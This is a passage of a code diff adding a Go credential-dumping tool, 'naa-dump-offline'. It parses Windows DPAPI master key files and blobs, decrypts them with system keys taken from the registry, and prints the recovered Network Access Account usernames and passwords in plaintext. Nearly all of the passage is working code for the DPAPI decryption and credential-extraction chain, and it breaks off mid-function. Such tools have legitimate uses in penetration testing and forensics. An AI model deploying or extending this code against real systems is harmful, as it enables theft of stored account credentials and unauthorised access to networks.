| 220 | + fmt.Printf("[*] Decrypting MasterKey from %s\n", masterKey) | |
| 221 | + } | |
| 222 | + | |
| 223 | + for _, targetGUID := range carverRes.RequiredGUIDs { | |
| 224 | + decKey, source, err := dpapi.LoadAndDecryptMasterKey(masterKey, targetGUID, systemKeys) | |
| 225 | + if err != nil { | |
| 226 | + if !*jsonMode { | |
| 227 | + fmt.Printf("[-] Could not decrypt MasterKey (%s): %v\n", targetGUID, err) | |
| 228 | + } | |
| 229 | + continue | |
| 230 | + } | |
| 231 | + masterKeysMap[targetGUID] = decKey | |
| 232 | + out.DecryptedMasterKey = fmt.Sprintf("0x%x", decKey) | |
| 233 | + out.MasterKeySource = source | |
| 234 | + if !*jsonMode { | |
| 235 | + fmt.Printf("[+] MasterKey (%s): 0x%x\n", targetGUID, decKey) | |
| 236 | + } | |
| 237 | + } | |
| 238 | + } | |
| 239 | + | |
| 240 | + if len(masterKeysMap) == 0 { | |
| 241 | + logError(*jsonMode, "No valid MasterKey could be decrypted.") | |
| 242 | + os.Exit(1) | |
| 243 | + } | |
| 244 | + | |
| 245 | + if !*jsonMode { | |
| 246 | + fmt.Printf("[*] Decrypting %d policy blobs...\n", len(carverRes.UniqueBlobs)) | |
| 247 | + } | |
| 248 | + | |
| 249 | + for _, secret := range carverRes.UniqueBlobs { | |
| 250 | + rawBytes, err := hex.DecodeString(secret.RawHex) | |
| 251 | + if err != nil { | |
| 252 | + continue | |
| 253 | + } | |
| 254 | + blobBytes := rawBytes | |
| 255 | + if len(rawBytes) > 4 { | |
| 256 | + blobBytes = rawBytes[4:] | |
| 257 | + } | |
| 258 | + | |
| 259 | + blob, err := dpapi.ParseDPAPIBlob(blobBytes) | |
| 260 | + if err != nil { | |
| 261 | + blob, err = dpapi.ParseDPAPIBlob(rawBytes) | |
| 262 | + if err != nil { | |
| 263 | + continue | |
| 264 | + } | |
| 265 | + } | |
| 266 | + | |
| 267 | + decMK, ok := masterKeysMap[blob.GuidMasterKey] | |
| 268 | + if !ok { | |
| 269 | + for _, k := range masterKeysMap { | |
| 270 | + decMK = k | |
| 271 | + break | |
| 272 | + } | |
| 273 | + } | |
| 274 | + | |
| 275 | + decrypted, err := blob.Decrypt(decMK) | |
| 276 | + if err != nil { | |
| 277 | + continue | |
| 278 | + } | |
| 279 | + | |
| 280 | + secret.DecryptedBytes = decrypted | |
| 281 | + text, isEmpty := wmi.ParseDecryptedPayload(decrypted) | |
| 282 | + secret.DecryptedText = text | |
| 283 | + secret.IsEmpty = isEmpty | |
| 284 | + } | |
| 285 | + | |
| 286 | + creds := wmi.ExtractCredentialsFromSecrets(carverRes.UniqueBlobs) | |
| 287 | + out.Credentials = creds | |
| 288 | + if *verbose { | |
| 289 | + out.Secrets = carverRes.UniqueBlobs | |
| 290 | + } | |
| 291 | + | |
| 292 | + if *jsonMode { | |
| 293 | + printJSON(out) | |
| 294 | + return | |
| 295 | + } | |
| 296 | + | |
| 297 | + if len(creds) == 0 { | |
| 298 | + hasRemoved := false | |
| 299 | + for _, s := range carverRes.UniqueBlobs { | |
| 300 | + if s.IsEmpty { | |
| 301 | + hasRemoved = true | |
| 302 | + break | |
| 303 | + } | |
| 304 | + } | |
| 305 | + if hasRemoved { | |
| 306 | + fmt.Println("[-] Found NAA policy entries, but credentials were cleared/empty in site configuration") | |
| 307 | + } else { | |
| 308 | + fmt.Println("[-] No NAA credentials found in decrypted policy blobs") | |
| 309 | + } | |
| 310 | + } else { | |
| 311 | + fmt.Println("\n[+] Extracted credentials:") | |
| 312 | + for _, c := range creds { | |
| 313 | + fmt.Printf(" %s:%s\n", c.Username, c.Password) | |
| 314 | + } | |
| 315 | + } | |
| 316 | + | |
| 317 | + if *verbose { | |
| 318 | + fmt.Println("\n[*] Verbose payload dump:") | |
| 319 | + for _, s := range carverRes.UniqueBlobs { | |
| 320 | + fmt.Printf("\n--- Secret #%d (Offset: 0x%x, MasterKey: %s, Context: %s) ---\n", | |
| 321 | + s.Index, s.Offset, s.MasterKeyGUID, s.Context) | |
| 322 | + if s.IsEmpty { | |
| 323 | + fmt.Println("[EMPTY]") | |
| 324 | + } else { | |
| 325 | + fmt.Println(s.DecryptedText) | |
| 326 | + } | |
| 327 | + } | |
| 328 | + } | |
| 329 | +} | |
| 330 | + | |
| 331 | +func logError(jsonMode bool, format string, a ...interface{}) { | |
| 332 | + msg := fmt.Sprintf(format, a...) | |
| 333 | + if jsonMode { | |
| 334 | + errObj := map[string]string{"error": msg} | |
| 335 | + b, _ := json.Marshal(errObj) | |
| 336 | + fmt.Println(string(b)) | |
| 337 | + } else { | |
| 338 | + fmt.Fprintf(os.Stderr, "[!] Error: %s\n", msg) | |
| 339 | + } | |
| 340 | +} | |
| 341 | + | |
| 342 | +func printJSON(v interface{}) { | |
| 343 | + b, err := json.MarshalIndent(v, "", " ") | |
| 344 | + if err != nil { | |
| 345 | + fmt.Fprintf(os.Stderr, `{"error":"json marshal error"}`) | |
| 346 | + return | |
| 347 | + } | |
| 348 | + fmt.Println(string(b)) | |
| 349 | +} |
go.mod
| ... | ... | @@ -0,0 +1,7 @@ |
| 1 | +module github.com/shehzade/naa-dump-offline | |
| 2 | + | |
| 3 | +go 1.26.2 | |
| 4 | + | |
| 5 | +require www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7 | |
| 6 | + | |
| 7 | +require github.com/davecgh/go-spew v1.1.1 // indirect |
go.sum
| ... | ... | @@ -0,0 +1,4 @@ |
| 1 | +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= | |
| 2 | +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= | |
| 3 | +www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7 h1:BMX/37sYwX+8JhHt+YNbPfbx7dXG1w1L1mXonNBtjt0= | |
| 4 | +www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7/go.mod h1:pxSECT5mWM3goJ4sxB4HCJNKnKqiAlpyT8XnvBwkLGU= |
pkg/dpapi/blob.go
| ... | ... | @@ -0,0 +1,239 @@ |
| 1 | +package dpapi | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "crypto/aes" | |
| 5 | + "crypto/cipher" | |
| 6 | + "crypto/des" | |
| 7 | + "crypto/hmac" | |
| 8 | + "crypto/sha1" | |
| 9 | + "crypto/sha512" | |
| 10 | + "encoding/binary" | |
| 11 | + "fmt" | |
| 12 | + "hash" | |
| 13 | +) | |
| 14 | + | |
| 15 | +type DPAPIBlob struct { | |
| 16 | + Version uint32 | |
| 17 | + GuidCredential string | |
| 18 | + MasterKeyVersion uint32 | |
| 19 | + GuidMasterKey string | |
| 20 | + Flags uint32 | |
| 21 | + Description string | |
| 22 | + CryptAlgo uint32 | |
| 23 | + CryptAlgoLen uint32 | |
| 24 | + Salt []byte | |
| 25 | + HMacKey []byte | |
| 26 | + HashAlgo uint32 | |
| 27 | + HashAlgoLen uint32 | |
| 28 | + HMac []byte | |
| 29 | + Data []byte | |
| 30 | + Sign []byte | |
| 31 | + RawData []byte | |
| 32 | +} | |
| 33 | + | |
| 34 | +func ParseDPAPIBlob(raw []byte) (*DPAPIBlob, error) { | |
| 35 | + if len(raw) < 44 { | |
| 36 | + return nil, fmt.Errorf("DPAPI blob too short (%d bytes)", len(raw)) | |
| 37 | + } | |
| 38 | + | |
| 39 | + blob := &DPAPIBlob{ | |
| 40 | + RawData: raw, | |
| 41 | + Version: binary.LittleEndian.Uint32(raw[0:4]), | |
| 42 | + GuidCredential: FormatGUID(raw[4:20]), | |
| 43 | + MasterKeyVersion: binary.LittleEndian.Uint32(raw[20:24]), | |
| 44 | + GuidMasterKey: FormatGUID(raw[24:40]), | |
| 45 | + Flags: binary.LittleEndian.Uint32(raw[40:44]), | |
| 46 | + } | |
| 47 | + | |
| 48 | + offset := 44 | |
| 49 | + if offset+4 > len(raw) { | |
| 50 | + return nil, fmt.Errorf("invalid blob at description len") | |
| 51 | + } | |
| 52 | + descLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 53 | + offset += 4 | |
| 54 | + if offset+int(descLen) > len(raw) { | |
| 55 | + return nil, fmt.Errorf("invalid blob description length") | |
| 56 | + } | |
| 57 | + blob.Description = DecodeUTF16LE(raw[offset : offset+int(descLen)]) | |
| 58 | + offset += int(descLen) | |
| 59 | + | |
| 60 | + if offset+8 > len(raw) { | |
| 61 | + return nil, fmt.Errorf("invalid blob at CryptAlgo") | |
| 62 | + } | |
| 63 | + blob.CryptAlgo = binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 64 | + blob.CryptAlgoLen = binary.LittleEndian.Uint32(raw[offset+4 : offset+8]) | |
| 65 | + offset += 8 | |
| 66 | + | |
| 67 | + if offset+4 > len(raw) { | |
| 68 | + return nil, fmt.Errorf("invalid blob at SaltLen") | |
| 69 | + } | |
| 70 | + saltLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 71 | + offset += 4 | |
| 72 | + if offset+int(saltLen) > len(raw) { | |
| 73 | + return nil, fmt.Errorf("invalid blob salt length") | |
| 74 | + } | |
| 75 | + blob.Salt = raw[offset : offset+int(saltLen)] | |
| 76 | + offset += int(saltLen) | |
| 77 | + | |
| 78 | + if offset+4 > len(raw) { | |
| 79 | + return nil, fmt.Errorf("invalid blob at HMacKeyLen") | |
| 80 | + } | |
| 81 | + hmacKeyLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 82 | + offset += 4 | |
| 83 | + if offset+int(hmacKeyLen) > len(raw) { | |
| 84 | + return nil, fmt.Errorf("invalid blob hmac key length") | |
| 85 | + } | |
| 86 | + blob.HMacKey = raw[offset : offset+int(hmacKeyLen)] | |
| 87 | + offset += int(hmacKeyLen) | |
| 88 | + | |
| 89 | + if offset+8 > len(raw) { | |
| 90 | + return nil, fmt.Errorf("invalid blob at HashAlgo") | |
| 91 | + } | |
| 92 | + blob.HashAlgo = binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 93 | + blob.HashAlgoLen = binary.LittleEndian.Uint32(raw[offset+4 : offset+8]) | |
| 94 | + offset += 8 | |
| 95 | + | |
| 96 | + if offset+4 > len(raw) { | |
| 97 | + return nil, fmt.Errorf("invalid blob at HMacLen") | |
| 98 | + } | |
| 99 | + hmacLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 100 | + offset += 4 | |
| 101 | + if offset+int(hmacLen) > len(raw) { | |
| 102 | + return nil, fmt.Errorf("invalid blob hmac length") | |
| 103 | + } | |
| 104 | + blob.HMac = raw[offset : offset+int(hmacLen)] | |
| 105 | + offset += int(hmacLen) | |
| 106 | + | |
| 107 | + if offset+4 > len(raw) { | |
| 108 | + return nil, fmt.Errorf("invalid blob at DataLen") | |
| 109 | + } | |
| 110 | + dataLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 111 | + offset += 4 | |
| 112 | + if offset+int(dataLen) > len(raw) { | |
| 113 | + return nil, fmt.Errorf("invalid blob data length") | |
| 114 | + } | |
| 115 | + blob.Data = raw[offset : offset+int(dataLen)] | |
| 116 | + offset += int(dataLen) | |
| 117 | + | |
| 118 | + if offset+4 <= len(raw) { | |
| 119 | + signLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) | |
| 120 | + offset += 4 | |
| 121 | + if offset+int(signLen) <= len(raw) { | |
| 122 | + blob.Sign = raw[offset : offset+int(signLen)] | |
| 123 | + } | |
| 124 | + } | |
| 125 | + | |
| 126 | + return blob, nil | |
| 127 | +} | |
| 128 | + | |
| 129 | +func (blob *DPAPIBlob) Decrypt(masterKey []byte) ([]byte, error) { | |
| 130 | + h := sha1.New() | |
| 131 | + h.Write(masterKey) | |
| 132 | + keyHash := h.Sum(nil) | |
| 133 | + | |
| 134 | + var hashFunc func() hash.Hash | |
| 135 | + var hashBlockSize int | |
| 136 | + switch blob.HashAlgo { | |
| 137 | + case CALG_SHA1, CALG_HMAC: | |
| 138 | + hashFunc = sha1.New | |
| 139 | + hashBlockSize = 64 | |
| 140 | + case CALG_SHA_512: | |
| 141 | + hashFunc = sha512.New | |
| 142 | + hashBlockSize = 128 | |
| 143 | + default: | |
| 144 | + return nil, fmt.Errorf("unsupported blob hash algo: 0x%x", blob.HashAlgo) | |
| 145 | + } | |
| 146 | + | |
| 147 | + var cryptKeyLen, ivLen int | |
| 148 | + switch blob.CryptAlgo { | |
| 149 | + case CALG_AES_256: | |
| 150 | + cryptKeyLen = 32 | |
| 151 | + ivLen = 16 | |
| 152 | + case CALG_AES_128: | |
| 153 | + cryptKeyLen = 16 | |
| 154 | + ivLen = 16 | |
| 155 | + case CALG_3DES: | |
| 156 | + cryptKeyLen = 24 | |
| 157 | + ivLen = 8 | |
| 158 | + default: | |
| 159 | + return nil, fmt.Errorf("unsupported blob crypt algo: 0x%x", blob.CryptAlgo) | |
| 160 | + } | |
| 161 | + | |
| 162 | + h2 := hmac.New(hashFunc, keyHash) | |
| 163 | + h2.Write(blob.Salt) | |
| 164 | + sessionKey := h2.Sum(nil) | |
| 165 | + | |
| 166 | + derivedKey := sessionKey | |
| 167 | + if len(derivedKey) > hashBlockSize { | |
| 168 | + h3 := hmac.New(hashFunc, sessionKey) | |
| 169 | + derivedKey = h3.Sum(nil) | |
| 170 | + } | |
| 171 | + | |
| 172 | + if len(derivedKey) < cryptKeyLen { | |
| 173 | + padLen := hashBlockSize | |
| 174 | + padded := make([]byte, len(derivedKey)+padLen) | |
| 175 | + copy(padded, derivedKey) | |
| 176 | + ipad := make([]byte, padLen) | |
| 177 | + opad := make([]byte, padLen) | |
| 178 | + for i := 0; i < padLen; i++ { | |
| 179 | + ipad[i] = padded[i] ^ 0x36 | |
| 180 | + opad[i] = padded[i] ^ 0x5c | |
| 181 | + } | |
| 182 | + | |
| 183 | + hi := hashFunc() | |
| 184 | + hi.Write(ipad) | |
| 185 | + ho := hashFunc() | |
| 186 | + ho.Write(opad) | |
| 187 | + | |
| 188 | + derivedKey = append(hi.Sum(nil), ho.Sum(nil)...) | |
| 189 | + } | |
| 190 | + | |
| 191 | + cryptKey := derivedKey[:cryptKeyLen] | |
| 192 | + iv := make([]byte, ivLen) | |
| 193 | + | |
| 194 | + var cleartext []byte | |
| 195 | + switch blob.CryptAlgo { | |
| 196 | + case CALG_AES_256, CALG_AES_128: | |
| 197 | + block, err := aes.NewCipher(cryptKey) | |
| 198 | + if err != nil { | |
| 199 | + return nil, err | |
| 200 | + } | |
| 201 | + if len(blob.Data)%aes.BlockSize != 0 { | |
| 202 | + return nil, fmt.Errorf("ciphertext length not multiple of AES block size") | |
| 203 | + } | |
| 204 | + mode := cipher.NewCBCDecrypter(block, iv) | |
| 205 | + cleartext = make([]byte, len(blob.Data)) | |
| 206 | + mode.CryptBlocks(cleartext, blob.Data) | |
| 207 | + case CALG_3DES: | |
| 208 | + block, err := des.NewTripleDESCipher(cryptKey) | |
| 209 | + if err != nil { | |
| 210 | + return nil, err | |
| 211 | + } | |
| 212 | + if len(blob.Data)%des.BlockSize != 0 { | |
| 213 | + return nil, fmt.Errorf("ciphertext length not multiple of 3DES block size") | |
| 214 | + } | |
| 215 | + mode := cipher.NewCBCDecrypter(block, iv) | |
| 216 | + cleartext = make([]byte, len(blob.Data)) | |
| 217 | + mode.CryptBlocks(cleartext, blob.Data) | |
| 218 | + } | |
| 219 | + | |
| 220 | + if len(cleartext) == 0 { | |
| 221 | + return nil, fmt.Errorf("decrypted cleartext empty") | |
| 222 | + } | |
| 223 | + | |
| 224 | + padding := int(cleartext[len(cleartext)-1]) | |
| 225 | + if padding > 0 && padding <= len(cleartext) { | |
| 226 | + valid := true | |
| 227 | + for i := len(cleartext) - padding; i < len(cleartext); i++ { | |
| 228 | + if cleartext[i] != byte(padding) { | |
| 229 | + valid = false | |
| 230 | + break | |
| 231 | + } | |
| 232 | + } | |
| 233 | + if valid { | |
| 234 | + return cleartext[:len(cleartext)-padding], nil | |
| 235 | + } | |
| 236 | + } | |
| 237 | + | |
| 238 | + return cleartext, nil | |
| 239 | +} |
pkg/dpapi/crypto.go
| ... | ... | @@ -0,0 +1,77 @@ |
| 1 | +package dpapi | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "crypto/hmac" | |
| 5 | + "encoding/binary" | |
| 6 | + "fmt" | |
| 7 | + "hash" | |
| 8 | + "strings" | |
| 9 | + "unicode/utf16" | |
| 10 | +) | |
| 11 | + | |
| 12 | +const ( | |
| 13 | + CALG_3DES = 0x6603 | |
| 14 | + CALG_AES_128 = 0x660e | |
| 15 | + CALG_AES_192 = 0x660f | |
| 16 | + CALG_AES_256 = 0x6610 | |
| 17 | + CALG_SHA1 = 0x8004 | |
| 18 | + CALG_HMAC = 0x8009 | |
| 19 | + CALG_SHA_256 = 0x800c | |
| 20 | + CALG_SHA_384 = 0x800d | |
| 21 | + CALG_SHA_512 = 0x800e | |
| 22 | +) | |
| 23 | + | |
| 24 | +func DeriveKeyDPAPI(passphrase, salt []byte, keyLen, count int, newHash func() hash.Hash) []byte { | |
| 25 | + var keyMaterial []byte | |
| 26 | + i := uint32(1) | |
| 27 | + for len(keyMaterial) < keyLen { | |
| 28 | + U := make([]byte, len(salt)+4) | |
| 29 | + copy(U, salt) | |
| 30 | + binary.BigEndian.PutUint32(U[len(salt):], i) | |
| 31 | + i++ | |
| 32 | + | |
| 33 | + h := hmac.New(newHash, passphrase) | |
| 34 | + h.Write(U) | |
| 35 | + derived := h.Sum(nil) | |
| 36 | + | |
| 37 | + for r := 0; r < count-1; r++ { | |
| 38 | + h = hmac.New(newHash, passphrase) | |
| 39 | + h.Write(derived) | |
| 40 | + actual := h.Sum(nil) | |
| 41 | + for b := range derived { | |
| 42 | + derived[b] ^= actual[b] | |
| 43 | + } | |
| 44 | + } | |
| 45 | + keyMaterial = append(keyMaterial, derived...) | |
| 46 | + } | |
| 47 | + return keyMaterial[:keyLen] | |
| 48 | +} | |
| 49 | + | |
| 50 | +func FormatGUID(b []byte) string { | |
| 51 | + if len(b) < 16 { | |
| 52 | + return "" | |
| 53 | + } | |
| 54 | + d1 := binary.LittleEndian.Uint32(b[0:4]) | |
| 55 | + d2 := binary.LittleEndian.Uint16(b[4:6]) | |
| 56 | + d3 := binary.LittleEndian.Uint16(b[6:8]) | |
| 57 | + return fmt.Sprintf("%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x", | |
| 58 | + d1, d2, d3, b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15]) | |
| 59 | +} | |
| 60 | + | |
| 61 | +func NormalizeGUID(s string) string { | |
| 62 | + s = strings.TrimSpace(s) | |
| 63 | + s = strings.TrimPrefix(s, "{") | |
| 64 | + s = strings.TrimSuffix(s, "}") | |
| 65 | + return strings.ToLower(s) | |
| 66 | +} | |
| 67 | + | |
| 68 | +func DecodeUTF16LE(b []byte) string { | |
| 69 | + if len(b) == 0 { | |
| 70 | + return "" | |
| 71 | + } | |
| 72 | + u16 := make([]uint16, len(b)/2) | |
| 73 | + for i := range u16 { | |
| 74 | + u16[i] = binary.LittleEndian.Uint16(b[i*2:]) | |
| 75 | + } | |
| 76 | + return strings.TrimRight(string(utf16.Decode(u16)), "\x00") | |
| 77 | +} |
pkg/dpapi/masterkey.go
| ... | ... | @@ -0,0 +1,265 @@ |
| 1 | +package dpapi | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "bytes" | |
| 5 | + "crypto/aes" | |
| 6 | + "crypto/cipher" | |
| 7 | + "crypto/des" | |
| 8 | + "crypto/hmac" | |
| 9 | + "crypto/sha1" | |
| 10 | + "crypto/sha512" | |
| 11 | + "encoding/binary" | |
| 12 | + "fmt" | |
| 13 | + "hash" | |
| 14 | + "os" | |
| 15 | + "path/filepath" | |
| 16 | + | |
| 17 | + "github.com/shehzade/naa-dump-offline/pkg/registry" | |
| 18 | +) | |
| 19 | + | |
| 20 | +type MasterKeyFile struct { | |
| 21 | + Version uint32 | |
| 22 | + Unk1 uint32 | |
| 23 | + Unk2 uint32 | |
| 24 | + Guid string | |
| 25 | + Unknown uint32 | |
| 26 | + Policy uint32 | |
| 27 | + Flags uint32 | |
| 28 | + MasterKeyLen uint64 | |
| 29 | + BackupKeyLen uint64 | |
| 30 | + CredHistLen uint64 | |
| 31 | + DomainKeyLen uint64 | |
| 32 | + MasterKey *MasterKey | |
| 33 | + BackupKey *MasterKey | |
| 34 | +} | |
| 35 | + | |
| 36 | +type MasterKey struct { | |
| 37 | + Version uint32 | |
| 38 | + Salt []byte | |
| 39 | + Rounds uint32 | |
| 40 | + HashAlgo uint32 | |
| 41 | + CryptAlgo uint32 | |
| 42 | + Data []byte | |
| 43 | + DecryptedKey []byte | |
| 44 | +} | |
| 45 | + | |
| 46 | +func ParseMasterKeyFile(raw []byte) (*MasterKeyFile, error) { | |
| 47 | + if len(raw) < 128 { | |
| 48 | + return nil, fmt.Errorf("master key file too short (%d bytes)", len(raw)) | |
| 49 | + } | |
| 50 | + | |
| 51 | + mkf := &MasterKeyFile{ | |
| 52 | + Version: binary.LittleEndian.Uint32(raw[0:4]), | |
| 53 | + Unk1: binary.LittleEndian.Uint32(raw[4:8]), | |
| 54 | + Unk2: binary.LittleEndian.Uint32(raw[8:12]), | |
| 55 | + Guid: NormalizeGUID(DecodeUTF16LE(raw[12:84])), | |
| 56 | + Unknown: binary.LittleEndian.Uint32(raw[84:88]), | |
| 57 | + Policy: binary.LittleEndian.Uint32(raw[88:92]), | |
| 58 | + Flags: binary.LittleEndian.Uint32(raw[92:96]), | |
| 59 | + MasterKeyLen: binary.LittleEndian.Uint64(raw[96:104]), | |
| 60 | + BackupKeyLen: binary.LittleEndian.Uint64(raw[104:112]), | |
| 61 | + CredHistLen: binary.LittleEndian.Uint64(raw[112:120]), | |
| 62 | + DomainKeyLen: binary.LittleEndian.Uint64(raw[120:128]), | |
| 63 | + } | |
| 64 | + | |
| 65 | + offset := 128 | |
| 66 | + if mkf.MasterKeyLen > 0 && offset+int(mkf.MasterKeyLen) <= len(raw) { | |
| 67 | + mkData := raw[offset : offset+int(mkf.MasterKeyLen)] | |
| 68 | + mkf.MasterKey = parseMasterKey(mkData) | |
| 69 | + offset += int(mkf.MasterKeyLen) | |
| 70 | + } | |
| 71 | + | |
| 72 | + if mkf.BackupKeyLen > 0 && offset+int(mkf.BackupKeyLen) <= len(raw) { | |
| 73 | + bkmkData := raw[offset : offset+int(mkf.BackupKeyLen)] | |
| 74 | + mkf.BackupKey = parseMasterKey(bkmkData) | |
| 75 | + } | |
| 76 | + | |
| 77 | + return mkf, nil | |
| 78 | +} | |
| 79 | + | |
| 80 | +func parseMasterKey(raw []byte) *MasterKey { | |
| 81 | + if len(raw) < 32 { | |
| 82 | + return nil | |
| 83 | + } | |
| 84 | + return &MasterKey{ | |
| 85 | + Version: binary.LittleEndian.Uint32(raw[0:4]), | |
| 86 | + Salt: raw[4:20], | |
| 87 | + Rounds: binary.LittleEndian.Uint32(raw[20:24]), | |
| 88 | + HashAlgo: binary.LittleEndian.Uint32(raw[24:28]), | |
| 89 | + CryptAlgo: binary.LittleEndian.Uint32(raw[28:32]), | |
| 90 | + Data: raw[32:], | |
| 91 | + } | |
| 92 | +} | |
| 93 | + | |
| 94 | +func (mk *MasterKey) Decrypt(key []byte) ([]byte, error) { | |
| 95 | + if mk == nil { | |
| 96 | + return nil, fmt.Errorf("nil master key") | |
| 97 | + } | |
| 98 | + | |
| 99 | + var hashFunc func() hash.Hash | |
| 100 | + var hashKeyLen int | |
| 101 | + switch mk.HashAlgo { | |
| 102 | + case CALG_HMAC, CALG_SHA1: | |
| 103 | + hashFunc = sha1.New | |
| 104 | + hashKeyLen = 20 | |
| 105 | + case CALG_SHA_512: | |
| 106 | + hashFunc = sha512.New | |
| 107 | + hashKeyLen = 64 | |
| 108 | + default: | |
| 109 | + return nil, fmt.Errorf("unsupported hash algo: 0x%x", mk.HashAlgo) | |
| 110 | + } | |
| 111 | + | |
| 112 | + var cryptKeyLen, ivLen int | |
| 113 | + switch mk.CryptAlgo { | |
| 114 | + case CALG_AES_256: | |
| 115 | + cryptKeyLen = 32 | |
| 116 | + ivLen = 16 | |
| 117 | + case CALG_3DES: | |
| 118 | + cryptKeyLen = 24 | |
| 119 | + ivLen = 8 | |
| 120 | + default: | |
| 121 | + return nil, fmt.Errorf("unsupported crypt algo: 0x%x", mk.CryptAlgo) | |
| 122 | + } | |
| 123 | + | |
| 124 | + derivedBlob := DeriveKeyDPAPI(key, mk.Salt, cryptKeyLen+ivLen, int(mk.Rounds), hashFunc) | |
| 125 | + cryptKey := derivedBlob[:cryptKeyLen] | |
| 126 | + iv := derivedBlob[cryptKeyLen : cryptKeyLen+ivLen] | |
| 127 | + | |
| 128 | + var cleartext []byte | |
| 129 | + switch mk.CryptAlgo { | |
| 130 | + case CALG_AES_256: | |
| 131 | + block, err := aes.NewCipher(cryptKey) | |
| 132 | + if err != nil { | |
| 133 | + return nil, err | |
| 134 | + } | |
| 135 | + if len(mk.Data)%aes.BlockSize != 0 { | |
| 136 | + return nil, fmt.Errorf("ciphertext length not multiple of AES block size") | |
| 137 | + } | |
| 138 | + mode := cipher.NewCBCDecrypter(block, iv) | |
| 139 | + cleartext = make([]byte, len(mk.Data)) | |
| 140 | + mode.CryptBlocks(cleartext, mk.Data) | |
| 141 | + case CALG_3DES: | |
| 142 | + block, err := des.NewTripleDESCipher(cryptKey) | |
| 143 | + if err != nil { | |
| 144 | + return nil, err | |
| 145 | + } | |
| 146 | + if len(mk.Data)%des.BlockSize != 0 { | |
| 147 | + return nil, fmt.Errorf("ciphertext length not multiple of 3DES block size") | |
| 148 | + } | |
| 149 | + mode := cipher.NewCBCDecrypter(block, iv) | |
| 150 | + cleartext = make([]byte, len(mk.Data)) | |
| 151 | + mode.CryptBlocks(cleartext, mk.Data) | |
| 152 | + } | |
| 153 | + | |
| 154 | + if len(cleartext) < 16+hashKeyLen+64 { | |
| 155 | + return nil, fmt.Errorf("cleartext too short (%d)", len(cleartext)) | |
| 156 | + } | |
| 157 | + | |
| 158 | + decryptedKey := cleartext[len(cleartext)-64:] | |
| 159 | + hmacSalt := cleartext[:16] | |
| 160 | + hmacExpected := cleartext[16 : 16+hashKeyLen] | |
| 161 | + | |
| 162 | + h1 := hmac.New(hashFunc, key) | |
| 163 | + h1.Write(hmacSalt) | |
| 164 | + hmacKey := h1.Sum(nil) | |
| 165 | + | |
| 166 | + h2 := hmac.New(hashFunc, hmacKey) | |
| 167 | + h2.Write(decryptedKey) | |
| 168 | + hmacCalculated := h2.Sum(nil) | |
| 169 | + | |
| 170 | + if !bytes.Equal(hmacCalculated[:hashKeyLen], hmacExpected) { | |
| 171 | + return nil, fmt.Errorf("HMAC verification failed") | |
| 172 | + } | |
| 173 | + | |
| 174 | + mk.DecryptedKey = decryptedKey | |
| 175 | + return decryptedKey, nil | |
| 176 | +} | |
| 177 | + | |
| 178 | +func (mkf *MasterKeyFile) DecryptWithSystemKeys(keys *registry.DPAPISystemKeys) ([]byte, string, error) { | |
| 179 | + if mkf.MasterKey != nil && len(keys.UserKey) > 0 { | |
| 180 | + if dec, err := mkf.MasterKey.Decrypt(keys.UserKey); err == nil { | |
| 181 | + return dec, "UserKey", nil | |
| 182 | + } | |
| 183 | + } | |
| 184 | + | |
| 185 | + if mkf.MasterKey != nil && len(keys.MachineKey) > 0 { | |
| 186 | + if dec, err := mkf.MasterKey.Decrypt(keys.MachineKey); err == nil { | |
| 187 | + return dec, "MachineKey", nil | |
| 188 | + } | |
| 189 | + } | |
| 190 | + | |
| 191 | + if mkf.BackupKey != nil && len(keys.UserKey) > 0 { | |
| 192 | + if dec, err := mkf.BackupKey.Decrypt(keys.UserKey); err == nil { | |
| 193 | + return dec, "BackupKey (UserKey)", nil | |
| 194 | + } | |
| 195 | + } | |
| 196 | + | |
| 197 | + if mkf.BackupKey != nil && len(keys.MachineKey) > 0 { | |
| 198 | + if dec, err := mkf.BackupKey.Decrypt(keys.MachineKey); err == nil { | |
| 199 | + return dec, "BackupKey (MachineKey)", nil | |
| 200 | + } | |
| 201 | + } | |
| 202 | + | |
| 203 | + return nil, "", fmt.Errorf("failed to decrypt master key with UserKey or MachineKey") | |
| 204 | +} | |
| 205 | + | |
| 206 | +func LoadAndDecryptMasterKey(pathOrDir string, targetGUID string, keys *registry.DPAPISystemKeys) ([]byte, string, error) { | |
| 207 | + info, err := os.Stat(pathOrDir) | |
| 208 | + if err != nil { | |
| 209 | + return nil, "", fmt.Errorf("cannot access master key path: %w", err) | |
| 210 | + } | |
| 211 | + | |
| 212 | + targetGUID = NormalizeGUID(targetGUID) | |
| 213 | + | |
| 214 | + if !info.IsDir() { | |
| 215 | + data, err := os.ReadFile(pathOrDir) | |
| 216 | + if err != nil { | |
| 217 | + return nil, "", fmt.Errorf("failed to read master key file: %w", err) | |
| 218 | + } | |
| 219 | + mkf, err := ParseMasterKeyFile(data) | |
| 220 | + if err != nil { | |
| 221 | + return nil, "", fmt.Errorf("failed to parse master key file: %w", err) | |
| 222 | + } | |
| 223 | + decKey, keyType, err := mkf.DecryptWithSystemKeys(keys) | |
| 224 | + if err != nil { | |
| 225 | + return nil, "", fmt.Errorf("failed to decrypt master key %s: %w", pathOrDir, err) | |
| 226 | + } | |
| 227 | + return decKey, fmt.Sprintf("%s (%s)", pathOrDir, keyType), nil | |
| 228 | + } | |
| 229 | + | |
| 230 | + entries, err := os.ReadDir(pathOrDir) | |
| 231 | + if err != nil { | |
| 232 | + return nil, "", fmt.Errorf("failed to read master key directory: %w", err) | |
| 233 | + } | |
| 234 | + | |
